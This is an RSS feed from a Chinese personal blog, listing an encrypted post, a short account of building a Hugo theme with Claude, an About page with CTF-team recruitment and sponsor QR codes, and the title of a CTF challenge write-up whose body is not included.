<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Home on Mnzn&#39;s Blog</title>
    <link>https://new.mnzn.me/</link>
    <description>Recent content in Home on Mnzn&#39;s Blog</description>
    <generator>Hugo</generator>
    <language>zh-cn</language>
    <managingEditor>Mnzn</managingEditor>
    <webMaster>Mnzn</webMaster>
    <lastBuildDate>Sun, 28 Jun 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://new.mnzn.me/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>碎碎念</title>
      <link>https://new.mnzn.me/posts/%E7%A2%8E%E7%A2%8E%E5%BF%B5/</link>
      <pubDate>Sun, 28 Jun 2026 00:00:00 +0000</pubDate>
      <guid>https://new.mnzn.me/posts/%E7%A2%8E%E7%A2%8E%E5%BF%B5/</guid>
      <description>🔒 本文已加密,请前往站点输入密码阅读。</description>
    </item>
    
    <item>
      <title>用 Claude 大人开发博客主题小记</title>
      <link>https://new.mnzn.me/posts/%E7%94%A8-claude-%E5%A4%A7%E4%BA%BA%E5%BC%80%E5%8F%91%E5%8D%9A%E5%AE%A2%E4%B8%BB%E9%A2%98%E5%B0%8F%E8%AE%B0/</link>
      <pubDate>Sun, 05 Apr 2026 15:41:04 +0800</pubDate>
      <guid>https://new.mnzn.me/posts/%E7%94%A8-claude-%E5%A4%A7%E4%BA%BA%E5%BC%80%E5%8F%91%E5%8D%9A%E5%AE%A2%E4%B8%BB%E9%A2%98%E5%B0%8F%E8%AE%B0/</guid>
      <description>&lt;h2 id=&#34;intro&#34;&gt;Intro&lt;a class=&#34;heading-anchor&#34; href=&#34;#intro&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;p&gt;其实已经眼馋 Hugo/Hexo 很久了，Halo 虽然也挺好用，但是很多功能都需要付费，比如一些插件还有文章加密等等&lt;br&gt;&#xA;最近逛 X 的时候看到一些个人认为很优雅的设计，在这里致谢一下&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://gist.github.com/masonwang025/49edffdff399175af2262e921eaae50b&#34;&gt;Cozy Window Shade&lt;/a&gt; — &lt;a href=&#34;https://x.com/masonwang025&#34;&gt;@masonwang025&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://theme-switch.pages.dev/&#34;&gt;Theme Switch&lt;/a&gt; — &lt;a href=&#34;https://x.com/AnyWayDingYi&#34;&gt;@dingyi&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;我个人真的非常喜欢这种简约有氛围的设计感&lt;br&gt;&#xA;而且现在 VibeCoding 很火，也是立马用上最潮最热的 Claude Opus 4.6 来搞一下新的博客&lt;br&gt;&#xA;整个过程大约三天，烧了 300$+ Tokens，包括文章格式迁移等等都交给 Claude 大人做了&#xA;&lt;img src=&#34;./attachments/5fc23a7a2939f808688ab8d90d8e8505.webp&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&#xA;目前有自定义页面、文章加密和用 waline 实现的评论/阅读统计等&lt;br&gt;&#xA;其实主要是为了好看，颜值万岁&lt;br&gt;&#xA;价值 300$+ 的主题已经开源到 GayHub 了，方便的话点个 Star 呗 :D&#xA;&lt;a href=&#34;https://github.com/realmnzn/hugo-Atmosphere&#34;&gt;https://github.com/realmnzn/hugo-Atmosphere&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;一些小问题&#34;&gt;一些小问题&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e4%b8%80%e4%ba%9b%e5%b0%8f%e9%97%ae%e9%a2%98&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;p&gt;其实一开始是想用 Astro 的，毕竟比较新感觉比较好玩，但是不知道为什么 AI 在把 html 代码搬上去的时候会写很多不必要的代码导致巨大的性能开销，卡的批爆&lt;br&gt;&#xA;移动端下拉刷新的时候界面会一闪一闪，排查发现是显示区域一改变就触发 canvas 重绘了，直接半夜吃爆闪&lt;br&gt;&#xA;添加图片放大的时候又开始爆闪了，研究半天才发现是因为 PJAX 没等样式加载好就又绘制&lt;/p&gt;&#xA;&lt;h2 id=&#34;没啥了&#34;&gt;没啥了&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e6%b2%a1%e5%95%a5%e4%ba%86&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;p&gt;除了好看以外，就是用上了垂涎已久的文章加密&lt;br&gt;&#xA;除了整篇文章加密还支持段落加密&lt;br&gt;&#xA;演示一下，密码是 &lt;code&gt;meow&lt;/code&gt;&lt;/p&gt;&#xA;</description>
    </item>
    
    <item>
      <title>About</title>
      <link>https://new.mnzn.me/about/</link>
      <pubDate>Fri, 03 Apr 2026 00:00:00 +0000</pubDate>
      <guid>https://new.mnzn.me/about/</guid>
      <description>&lt;blockquote&gt;&#xA;&lt;p&gt;欢迎志同道合的师傅们加入 &lt;a href=&#34;https://su-team.cn/page/about&#34;&gt;SU&lt;/a&gt;&lt;br&gt;&#xA;简历投递：&lt;a href=&#34;mailto:suers_xctf@126.com&#34;&gt;suers_xctf@126.com&lt;/a&gt; OR baozongwi QQ 2405758945&lt;br&gt;&#xA;CTFTIME：&lt;a href=&#34;https://ctftime.org/team/29641&#34;&gt;https://ctftime.org/team/29641&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h2 id=&#34;hello&#34;&gt;Hello&lt;a class=&#34;heading-anchor&#34; href=&#34;#hello&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;p&gt;24th 软件工程&lt;br&gt;&#xA;Nickname： &amp;ldquo;Mnzn&amp;rdquo; or &amp;ldquo;Muyuan&amp;rdquo;&lt;br&gt;&#xA;博客用来记录一下菜狗的日常&lt;/p&gt;&#xA;&lt;h3 id=&#34;contact&#34;&gt;Contact&lt;a class=&#34;heading-anchor&#34; href=&#34;#contact&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;QQ: MTMxNTc0NDY0Mw==&lt;br&gt;&#xA;Email: &lt;a href=&#34;mailto:realMnzn@foxmail.com&#34;&gt;realMnzn@foxmail.com&lt;/a&gt;&lt;br&gt;&#xA;GitHub: &lt;a href=&#34;https://github.com/realmnzn&#34;&gt;@RealMnzn&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;stack&#34;&gt;Stack&lt;a class=&#34;heading-anchor&#34; href=&#34;#stack&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;Misc | Forensic | Design&lt;br&gt;&#xA;Python&lt;/p&gt;&#xA;&lt;h3 id=&#34;sponsors&#34;&gt;Sponsors&lt;a class=&#34;heading-anchor&#34; href=&#34;#sponsors&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;div class=&#34;sponsor-qrcodes&#34;&gt;&#xA;  &lt;div class=&#34;sponsor-qr&#34;&gt;&#xA;    &lt;svg class=&#34;qr-svg&#34; version=&#34;1.1&#34; viewBox=&#34;0 0 33 33&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M2,2H3V3H2zM3,2H4V3H3zM4,2H5V3H4zM5,2H6V3H5zM6,2H7V3H6zM7,2H8V3H7zM8,2H9V3H8zM10,2H11V3H10zM11,2H12V3H11zM12,2H13V3H12zM13,2H14V3H13zM16,2H17V3H16zM21,2H22V3H21zM24,2H25V3H24zM25,2H26V3H25zM26,2H27V3H26zM27,2H28V3H27zM28,2H29V3H28zM29,2H30V3H29zM30,2H31V3H30zM2,3H3V4H2zM8,3H9V4H8zM12,3H13V4H12zM13,3H14V4H13zM14,3H15V4H14zM16,3H17V4H16zM19,3H20V4H19zM22,3H23V4H22zM24,3H25V4H24zM30,3H31V4H30zM2,4H3V5H2zM4,4H5V5H4zM5,4H6V5H5zM6,4H7V5H6zM8,4H9V5H8zM10,4H11V5H10zM12,4H13V5H12zM13,4H14V5H13zM14,4H15V5H14zM15,4H16V5H15zM16,4H17V5H16zM18,4H19V5H18zM20,4H21V5H20zM21,4H22V5H21zM24,4H25V5H24zM26,4H27V5H26zM27,4H28V5H27zM28,4H29V5H28zM30,4H31V5H30zM2,5H3V6H2zM4,5H5V6H4zM5,5H6V6H5zM6,5H7V6H6zM8,5H9V6H8zM10,5H11V6H10zM11,5H12V6H11zM12,5H13V6H12zM13,5H14V6H13zM14,5H15V6H14zM15,5H16V6H15zM19,5H20V6H19zM21,5H22V6H21zM24,5H25V6H24zM26,5H27V6H26zM27,5H28V6H27zM28,5H29V6H28zM30,5H31V6H30zM2,6H3V7H2zM4,6H5V7H4zM5,6H6V7H5zM6,6H7V7H6zM8,6H9V7H8zM10,6H11V7H10zM13,6H14V7H13zM14,6H15V7H14zM15,6H16V7H15zM18,6H19V7H18zM19,6H20V7H19zM21,6H22V7H21zM24,6H25V7H24zM26,6H27V7H26zM27,6H28V7H27zM28,6H29V7H28zM30,6H31V7H30zM2,7H3V8H2zM8,7H9V8H8zM11,7H12V8H11zM12,7H13V8H12zM15,7H16V8H15zM18,7H19V8H18zM19,7H20V8H19zM20,7H21V8H20zM21,7H22V8H21zM22,7H23V8H22zM24,7H25V8H24zM30,7H31V8H30zM2,8H3V9H2zM3,8H4V9H3zM4,8H5V9H4zM5,8H6V9H5zM6,8H7V9H6zM7,8H8V9H7zM8,8H9V9H8zM10,8H11V9H10zM12,8H13V9H12zM14,8H15V9H14zM16,8H17V9H16zM18,8H19V9H18zM20,8H21V9H20zM22,8H23V9H22zM24,8H25V9H24zM25,8H26V9H25zM26,8H27V9H26zM27,8H28V9H27zM28,8H29V9H28zM29,8H30V9H29zM30,8H31V9H30zM13,9H14V10H13zM17,9H18V10H17zM19,9H20V10H19zM2,10H3V11H2zM3,10H4V11H3zM4,10H5V11H4zM5,10H6V11H5zM8,10H9V11H8zM10,10H11V11H10zM13,10H14V11H13zM14,10H15V11H14zM16,10H17V11H16zM19,10H20V11H19zM23,10H24V11H23zM26,10H27V11H26zM27,10H28V11H27zM28,10H29V11H28zM30,10H31V11H30zM3,11H4V12H3zM4,11H5V12H4zM6,11H7V12H6zM7,11H8V12H7zM9,11H10V12H9zM11,11H12V12H11zM12,11H13V12H12zM15,11H16V12H15zM18,11H19V12H18zM19,11H20V12H19zM21,11H22V12H21zM22,11H23V12H22zM23,11H24V12H23zM25,11H26V12H25zM26,11H27V12H26zM28,11H29V12H28zM30,11H31V12H30zM5,12H6V13H5zM6,12H7V13H6zM8,12H9V13H8zM12,12H13V13H12zM13,12H14V13H13zM14,12H15V13H14zM15,12H16V13H15zM16,12H17V13H16zM18,12H19V13H18zM19,12H20V13H19zM24,12H25V13H24zM2,13H3V14H2zM6,13H7V14H6zM7,13H8V14H7zM13,13H14V14H13zM14,13H15V14H14zM15,13H16V14H15zM18,13H19V14H18zM21,13H22V14H21zM22,13H23V14H22zM25,13H26V14H25zM27,13H28V14H27zM30,13H31V14H30zM2,14H3V15H2zM3,14H4V15H3zM4,14H5V15H4zM5,14H6V15H5zM7,14H8V15H7zM8,14H9V15H8zM9,14H10V15H9zM10,14H11V15H10zM11,14H12V15H11zM15,14H16V15H15zM17,14H18V15H17zM18,14H19V15H18zM19,14H20V15H19zM20,14H21V15H20zM22,14H23V15H22zM26,14H27V15H26zM28,14H29V15H28zM29,14H30V15H29zM6,15H7V16H6zM7,15H8V16H7zM17,15H18V16H17zM19,15H20V16H19zM20,15H21V16H20zM24,15H25V16H24zM27,15H28V16H27zM29,15H30V16H29zM30,15H31V16H30zM6,16H7V17H6zM8,16H9V17H8zM10,16H11V17H10zM12,16H13V17H12zM16,16H17V17H16zM18,16H19V17H18zM20,16H21V17H20zM21,16H22V17H21zM24,16H25V17H24zM26,16H27V17H26zM28,16H29V17H28zM29,16H30V17H29zM30,16H31V17H30zM3,17H4V18H3zM4,17H5V18H4zM6,17H7V18H6zM7,17H8V18H7zM10,17H11V18H10zM12,17H13V18H12zM13,17H14V18H13zM16,17H17V18H16zM21,17H22V18H21zM23,17H24V18H23zM24,17H25V18H24zM25,17H26V18H25zM26,17H27V18H26zM29,17H30V18H29zM3,18H4V19H3zM6,18H7V19H6zM7,18H8V19H7zM8,18H9V19H8zM9,18H10V19H9zM10,18H11V19H10zM12,18H13V19H12zM13,18H14V19H13zM15,18H16V19H15zM19,18H20V19H19zM20,18H21V19H20zM23,18H24V19H23zM26,18H27V19H26zM30,18H31V19H30zM3,19H4V20H3zM4,19H5V20H4zM9,19H10V20H9zM13,19H14V20H13zM14,19H15V20H14zM15,19H16V20H15zM16,19H17V20H16zM22,19H23V20H22zM23,19H24V20H23zM28,19H29V20H28zM29,19H30V20H29zM2,20H3V21H2zM6,20H7V21H6zM8,20H9V21H8zM11,20H12V21H11zM12,20H13V21H12zM14,20H15V21H14zM17,20H18V21H17zM22,20H23V21H22zM26,20H27V21H26zM27,20H28V21H27zM28,20H29V21H28zM5,21H6V22H5zM9,21H10V22H9zM10,21H11V22H10zM11,21H12V22H11zM12,21H13V22H12zM13,21H14V22H13zM16,21H17V22H16zM19,21H20V22H19zM20,21H21V22H20zM21,21H22V22H21zM25,21H26V22H25zM27,21H28V22H27zM28,21H29V22H28zM29,21H30V22H29zM30,21H31V22H30zM3,22H4V23H3zM4,22H5V23H4zM6,22H7V23H6zM7,22H8V23H7zM8,22H9V23H8zM9,22H10V23H9zM10,22H11V23H10zM13,22H14V23H13zM16,22H17V23H16zM17,22H18V23H17zM20,22H21V23H20zM22,22H23V23H22zM23,22H24V23H23zM24,22H25V23H24zM25,22H26V23H25zM26,22H27V23H26zM27,22H28V23H27zM28,22H29V23H28zM29,22H30V23H29zM30,22H31V23H30zM10,23H11V24H10zM11,23H12V24H11zM15,23H16V24H15zM19,23H20V24H19zM20,23H21V24H20zM21,23H22V24H21zM22,23H23V24H22zM26,23H27V24H26zM27,23H28V24H27zM30,23H31V24H30zM2,24H3V25H2zM3,24H4V25H3zM4,24H5V25H4zM5,24H6V25H5zM6,24H7V25H6zM7,24H8V25H7zM8,24H9V25H8zM11,24H12V25H11zM12,24H13V25H12zM13,24H14V25H13zM14,24H15V25H14zM16,24H17V25H16zM18,24H19V25H18zM22,24H23V25H22zM24,24H25V25H24zM26,24H27V25H26zM29,24H30V25H29zM2,25H3V26H2zM8,25H9V26H8zM11,25H12V26H11zM15,25H16V26H15zM17,25H18V26H17zM20,25H21V26H20zM22,25H23V26H22zM26,25H27V26H26zM27,25H28V26H27zM29,25H30V26H29zM30,25H31V26H30zM2,26H3V27H2zM4,26H5V27H4zM5,26H6V27H5zM6,26H7V27H6zM8,26H9V27H8zM12,26H13V27H12zM13,26H14V27H13zM14,26H15V27H14zM15,26H16V27H15zM16,26H17V27H16zM17,26H18V27H17zM18,26H19V27H18zM22,26H23V27H22zM23,26H24V27H23zM24,26H25V27H24zM25,26H26V27H25zM26,26H27V27H26zM27,26H28V27H27zM28,26H29V27H28zM2,27H3V28H2zM4,27H5V28H4zM5,27H6V28H5zM6,27H7V28H6zM8,27H9V28H8zM10,27H11V28H10zM11,27H12V28H11zM14,27H15V28H14zM17,27H18V28H17zM19,27H20V28H19zM21,27H22V28H21zM22,27H23V28H22zM26,27H27V28H26zM28,27H29V28H28zM29,27H30V28H29zM30,27H31V28H30zM2,28H3V29H2zM4,28H5V29H4zM5,28H6V29H5zM6,28H7V29H6zM8,28H9V29H8zM10,28H11V29H10zM11,28H12V29H11zM15,28H16V29H15zM20,28H21V29H20zM22,28H23V29H22zM23,28H24V29H23zM27,28H28V29H27zM28,28H29V29H28zM30,28H31V29H30zM2,29H3V30H2zM8,29H9V30H8zM10,29H11V30H10zM11,29H12V30H11zM12,29H13V30H12zM16,29H17V30H16zM18,29H19V30H18zM22,29H23V30H22zM27,29H28V30H27zM29,29H30V30H29zM2,30H3V31H2zM3,30H4V31H3zM4,30H5V31H4zM5,30H6V31H5zM6,30H7V31H6zM7,30H8V31H7zM8,30H9V31H8zM10,30H11V31H10zM11,30H12V31H11zM13,30H14V31H13zM14,30H15V31H14zM15,30H16V31H15zM16,30H17V31H16zM18,30H19V31H18zM19,30H20V31H19zM20,30H21V31H20zM21,30H22V31H21zM22,30H23V31H22zM29,30H30V31H29z&#34; fill=&#34;currentColor&#34; fill-opacity=&#34;1&#34; fill-rule=&#34;nonzero&#34; stroke=&#34;none&#34; /&gt;&lt;/svg&gt;&#xA;    &lt;span class=&#34;sponsor-label&#34;&gt;微信支付&lt;/span&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;div class=&#34;sponsor-qr&#34;&gt;&#xA;    &lt;svg class=&#34;qr-svg&#34; version=&#34;1.1&#34; viewBox=&#34;0 0 33 33&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M2,2H3V3H2zM3,2H4V3H3zM4,2H5V3H4zM5,2H6V3H5zM6,2H7V3H6zM7,2H8V3H7zM8,2H9V3H8zM11,2H12V3H11zM15,2H16V3H15zM16,2H17V3H16zM20,2H21V3H20zM21,2H22V3H21zM22,2H23V3H22zM24,2H25V3H24zM25,2H26V3H25zM26,2H27V3H26zM27,2H28V3H27zM28,2H29V3H28zM29,2H30V3H29zM30,2H31V3H30zM2,3H3V4H2zM8,3H9V4H8zM10,3H11V4H10zM11,3H12V4H11zM13,3H14V4H13zM14,3H15V4H14zM17,3H18V4H17zM18,3H19V4H18zM19,3H20V4H19zM22,3H23V4H22zM24,3H25V4H24zM30,3H31V4H30zM2,4H3V5H2zM4,4H5V5H4zM5,4H6V5H5zM6,4H7V5H6zM8,4H9V5H8zM11,4H12V5H11zM12,4H13V5H12zM13,4H14V5H13zM17,4H18V5H17zM20,4H21V5H20zM21,4H22V5H21zM22,4H23V5H22zM24,4H25V5H24zM26,4H27V5H26zM27,4H28V5H27zM28,4H29V5H28zM30,4H31V5H30zM2,5H3V6H2zM4,5H5V6H4zM5,5H6V6H5zM6,5H7V6H6zM8,5H9V6H8zM10,5H11V6H10zM11,5H12V6H11zM13,5H14V6H13zM15,5H16V6H15zM16,5H17V6H16zM17,5H18V6H17zM19,5H20V6H19zM21,5H22V6H21zM24,5H25V6H24zM26,5H27V6H26zM27,5H28V6H27zM28,5H29V6H28zM30,5H31V6H30zM2,6H3V7H2zM4,6H5V7H4zM5,6H6V7H5zM6,6H7V7H6zM8,6H9V7H8zM12,6H13V7H12zM14,6H15V7H14zM18,6H19V7H18zM19,6H20V7H19zM20,6H21V7H20zM21,6H22V7H21zM24,6H25V7H24zM26,6H27V7H26zM27,6H28V7H27zM28,6H29V7H28zM30,6H31V7H30zM2,7H3V8H2zM8,7H9V8H8zM10,7H11V8H10zM12,7H13V8H12zM16,7H17V8H16zM17,7H18V8H17zM19,7H20V8H19zM20,7H21V8H20zM22,7H23V8H22zM24,7H25V8H24zM30,7H31V8H30zM2,8H3V9H2zM3,8H4V9H3zM4,8H5V9H4zM5,8H6V9H5zM6,8H7V9H6zM7,8H8V9H7zM8,8H9V9H8zM10,8H11V9H10zM12,8H13V9H12zM14,8H15V9H14zM16,8H17V9H16zM18,8H19V9H18zM20,8H21V9H20zM22,8H23V9H22zM24,8H25V9H24zM25,8H26V9H25zM26,8H27V9H26zM27,8H28V9H27zM28,8H29V9H28zM29,8H30V9H29zM30,8H31V9H30zM14,9H15V10H14zM16,9H17V10H16zM17,9H18V10H17zM22,9H23V10H22zM2,10H3V11H2zM3,10H4V11H3zM4,10H5V11H4zM5,10H6V11H5zM6,10H7V11H6zM8,10H9V11H8zM9,10H10V11H9zM10,10H11V11H10zM11,10H12V11H11zM12,10H13V11H12zM14,10H15V11H14zM15,10H16V11H15zM16,10H17V11H16zM19,10H20V11H19zM21,10H22V11H21zM23,10H24V11H23zM25,10H26V11H25zM27,10H28V11H27zM29,10H30V11H29zM2,11H3V12H2zM3,11H4V12H3zM5,11H6V12H5zM6,11H7V12H6zM9,11H10V12H9zM10,11H11V12H10zM11,11H12V12H11zM18,11H19V12H18zM19,11H20V12H19zM21,11H22V12H21zM22,11H23V12H22zM23,11H24V12H23zM24,11H25V12H24zM25,11H26V12H25zM26,11H27V12H26zM30,11H31V12H30zM2,12H3V13H2zM8,12H9V13H8zM9,12H10V13H9zM11,12H12V13H11zM13,12H14V13H13zM14,12H15V13H14zM15,12H16V13H15zM17,12H18V13H17zM18,12H19V13H18zM20,12H21V13H20zM22,12H23V13H22zM24,12H25V13H24zM25,12H26V13H25zM26,12H27V13H26zM3,13H4V14H3zM4,13H5V14H4zM6,13H7V14H6zM7,13H8V14H7zM11,13H12V14H11zM12,13H13V14H12zM13,13H14V14H13zM17,13H18V14H17zM18,13H19V14H18zM20,13H21V14H20zM21,13H22V14H21zM22,13H23V14H22zM23,13H24V14H23zM26,13H27V14H26zM27,13H28V14H27zM29,13H30V14H29zM4,14H5V15H4zM5,14H6V15H5zM8,14H9V15H8zM9,14H10V15H9zM11,14H12V15H11zM13,14H14V15H13zM15,14H16V15H15zM16,14H17V15H16zM17,14H18V15H17zM19,14H20V15H19zM20,14H21V15H20zM21,14H22V15H21zM27,14H28V15H27zM28,14H29V15H28zM2,15H3V16H2zM4,15H5V16H4zM6,15H7V16H6zM7,15H8V16H7zM10,15H11V16H10zM11,15H12V16H11zM12,15H13V16H12zM14,15H16V16H14zM16,15H17V16H16zM18,15H19V16H18zM21,15H22V16H21zM22,15H23V16H22zM23,15H24V16H23zM24,15H25V16H24zM25,15H26V16H25zM26,15H27V16H26zM30,15H31V16H30zM6,16H7V17H6zM7,16H8V17H7zM8,16H9V17H8zM10,16H11V17H10zM11,16H12V17H11zM17,16H18V17H17zM18,16H19V17H18zM20,16H21V17H20zM22,16H23V17H22zM23,16H24V17H23zM24,16H25V17H24zM27,16H28V17H27zM28,16H29V17H28zM4,17H5V18H4zM5,17H6V18H5zM6,17H7V18H6zM10,17H11V18H10zM11,17H12V18H11zM14,17H15V18H14zM16,17H17V18H16zM18,17H19V18H18zM21,17H22V18H21zM25,17H26V18H25zM29,17H30V18H29zM3,18H4V19H3zM4,18H5V19H4zM5,18H6V19H5zM8,18H9V19H8zM9,18H10V19H9zM12,18H13V19H12zM14,18H15V19H14zM15,18H16V19H15zM16,18H17V19H16zM19,18H20V19H19zM20,18H21V19H20zM27,18H28V19H27zM28,18H29V19H28zM2,19H3V20H2zM5,19H6V20H5zM11,19H12V20H11zM12,19H13V20H12zM18,19H19V20H18zM19,19H20V20H19zM21,19H22V20H21zM22,19H23V20H22zM24,19H25V20H24zM26,19H27V20H26zM28,19H29V20H28zM30,19H31V20H30zM2,20H3V21H2zM5,20H6V21H5zM6,20H7V21H6zM7,20H8V21H7zM8,20H9V21H8zM9,20H10V21H9zM12,20H13V21H12zM13,20H14V21H13zM14,20H15V21H14zM15,20H16V21H15zM17,20H18V21H17zM20,20H21V21H20zM23,20H24V21H23zM28,20H29V21H28zM2,21H3V22H2zM4,21H5V22H4zM6,21H7V22H6zM11,21H12V22H11zM12,21H13V22H12zM13,21H14V22H13zM21,21H22V22H21zM22,21H23V22H22zM23,21H24V22H23zM26,21H27V22H26zM29,21H30V22H29zM2,22H3V23H2zM6,22H7V23H6zM8,22H9V23H8zM10,22H11V23H10zM11,22H12V23H11zM12,22H13V23H12zM13,22H14V23H13zM14,22H15V23H14zM15,22H16V23H15zM16,22H17V23H16zM17,22H18V23H17zM18,22H19V23H18zM19,22H20V23H19zM20,22H21V23H20zM21,22H22V23H21zM22,22H23V23H22zM23,22H24V23H23zM24,22H25V23H24zM25,22H26V23H25zM26,22H27V23H26zM28,22H29V23H28zM29,22H30V23H29zM30,22H31V23H30zM10,23H11V24H10zM14,23H15V24H14zM15,23H16V24H15zM18,23H19V24H18zM22,23H23V24H22zM26,23H27V24H26zM27,23H28V24H27zM28,23H29V24H28zM29,23H30V24H29zM30,23H31V24H30zM2,24H3V25H2zM3,24H4V25H3zM4,24H5V25H4zM5,24H6V25H5zM6,24H7V25H6zM7,24H8V25H7zM8,24H9V25H8zM10,24H11V25H10zM14,24H15V25H14zM16,24H17V25H16zM17,24H18V25H17zM21,24H22V25H21zM22,24H23V25H22zM24,24H25V25H24zM26,24H27V25H26zM27,24H28V25H27zM28,24H29V25H28zM2,25H3V26H2zM8,25H9V26H8zM11,25H12V26H11zM18,25H19V26H18zM22,25H23V26H22zM26,25H27V26H26zM2,26H3V27H2zM4,26H5V27H4zM5,26H6V27H5zM6,26H7V27H6zM8,26H9V27H8zM10,26H11V27H10zM11,26H12V27H11zM12,26H13V27H12zM14,26H15V27H14zM15,26H16V27H15zM16,26H17V27H16zM17,26H18V27H17zM18,26H19V27H18zM19,26H20V27H19zM20,26H21V27H20zM22,26H23V27H22zM23,26H24V27H23zM24,26H25V27H24zM25,26H26V27H25zM26,26H27V27H26zM28,26H29V27H28zM30,26H31V27H30zM2,27H3V28H2zM4,27H5V28H4zM5,27H6V28H5zM6,27H7V28H6zM8,27H9V28H8zM10,27H11V28H10zM11,27H12V28H11zM13,27H14V28H13zM19,27H20V28H19zM21,27H22V28H21zM25,27H26V28H25zM27,27H28V28H27zM28,27H29V28H28zM29,27H30V28H29zM30,27H31V28H30zM2,28H3V29H2zM4,28H5V29H4zM5,28H6V29H5zM6,28H7V29H6zM8,28H9V29H8zM10,28H11V29H10zM11,28H12V29H11zM15,28H16V29H15zM17,28H18V29H17zM18,28H19V29H18zM20,28H21V29H20zM22,28H23V29H22zM23,28H24V29H23zM24,28H25V29H24zM25,28H26V29H25zM26,28H27V29H26zM27,28H28V29H27zM28,28H29V29H28zM29,28H30V29H29zM2,29H3V30H2zM8,29H9V30H8zM10,29H11V30H10zM12,29H13V30H12zM16,29H17V30H16zM17,29H18V30H17zM18,29H19V30H18zM20,29H21V30H20zM21,29H22V30H21zM22,29H23V30H22zM23,29H24V30H23zM25,29H26V30H25zM26,29H27V30H26zM27,29H28V30H27zM29,29H30V30H29zM2,30H3V31H2zM3,30H4V31H3zM4,30H5V31H4zM5,30H6V31H5zM6,30H7V31H6zM7,30H8V31H7zM8,30H9V31H8zM10,30H11V31H10zM11,30H12V31H11zM12,30H13V31H12zM14,30H15V31H14zM15,30H16V31H15zM16,30H17V31H16zM17,30H18V31H17zM18,30H19V31H18zM19,30H20V31H19zM20,30H21V31H20zM21,30H22V31H21zM26,30H27V31H26zM27,30H28V31H27zM28,30H29V31H28z&#34; fill=&#34;currentColor&#34; fill-opacity=&#34;1&#34; fill-rule=&#34;nonzero&#34; stroke=&#34;none&#34; /&gt;&lt;/svg&gt;&#xA;    &lt;span class=&#34;sponsor-label&#34;&gt;支付宝&lt;/span&gt;&#xA;  &lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th style=&#34;text-align: left&#34;&gt;赞助者 (Sponsor)&lt;/th&gt;&#xA;          &lt;th style=&#34;text-align: left&#34;&gt;金额/礼物 (Amount)&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td style=&#34;text-align: left&#34;&gt;&lt;a href=&#34;https://baozongwi.xyz&#34;&gt;baozongwi&lt;/a&gt;&lt;/td&gt;&#xA;          &lt;td style=&#34;text-align: left&#34;&gt;✨ KFC * 1 ✨&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td style=&#34;text-align: left&#34;&gt;&lt;a href=&#34;https://2hi5hu.cn&#34;&gt;2hi5hu&lt;/a&gt;&lt;/td&gt;&#xA;          &lt;td style=&#34;text-align: left&#34;&gt;✨ KFC * 1 ✨ + 6.6 ¥&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td style=&#34;text-align: left&#34;&gt;&lt;a href=&#34;https://shellwen.com&#34;&gt;ShellWen Chen&lt;/a&gt;&lt;/td&gt;&#xA;          &lt;td style=&#34;text-align: left&#34;&gt;✨ KFC * 1 ✨&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td style=&#34;text-align: left&#34;&gt;Uncle_cui233&lt;/td&gt;&#xA;          &lt;td style=&#34;text-align: left&#34;&gt;🧡&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;</description>
    </item>
    
    <item>
      <title>SUCTF2026-CyberTrack 出题人 WP</title>
      <link>https://new.mnzn.me/posts/suctf2026-cybertrack-%E5%87%BA%E9%A2%98%E4%BA%BA-wp/</link>
      <pubDate>Fri, 20 Mar 2026 00:00:00 +0000</pubDate>
      <guid>https://new.mnzn.me/posts/suctf2026-cybertrack-%E5%87%BA%E9%A2%98%E4%BA%BA-wp/</guid>
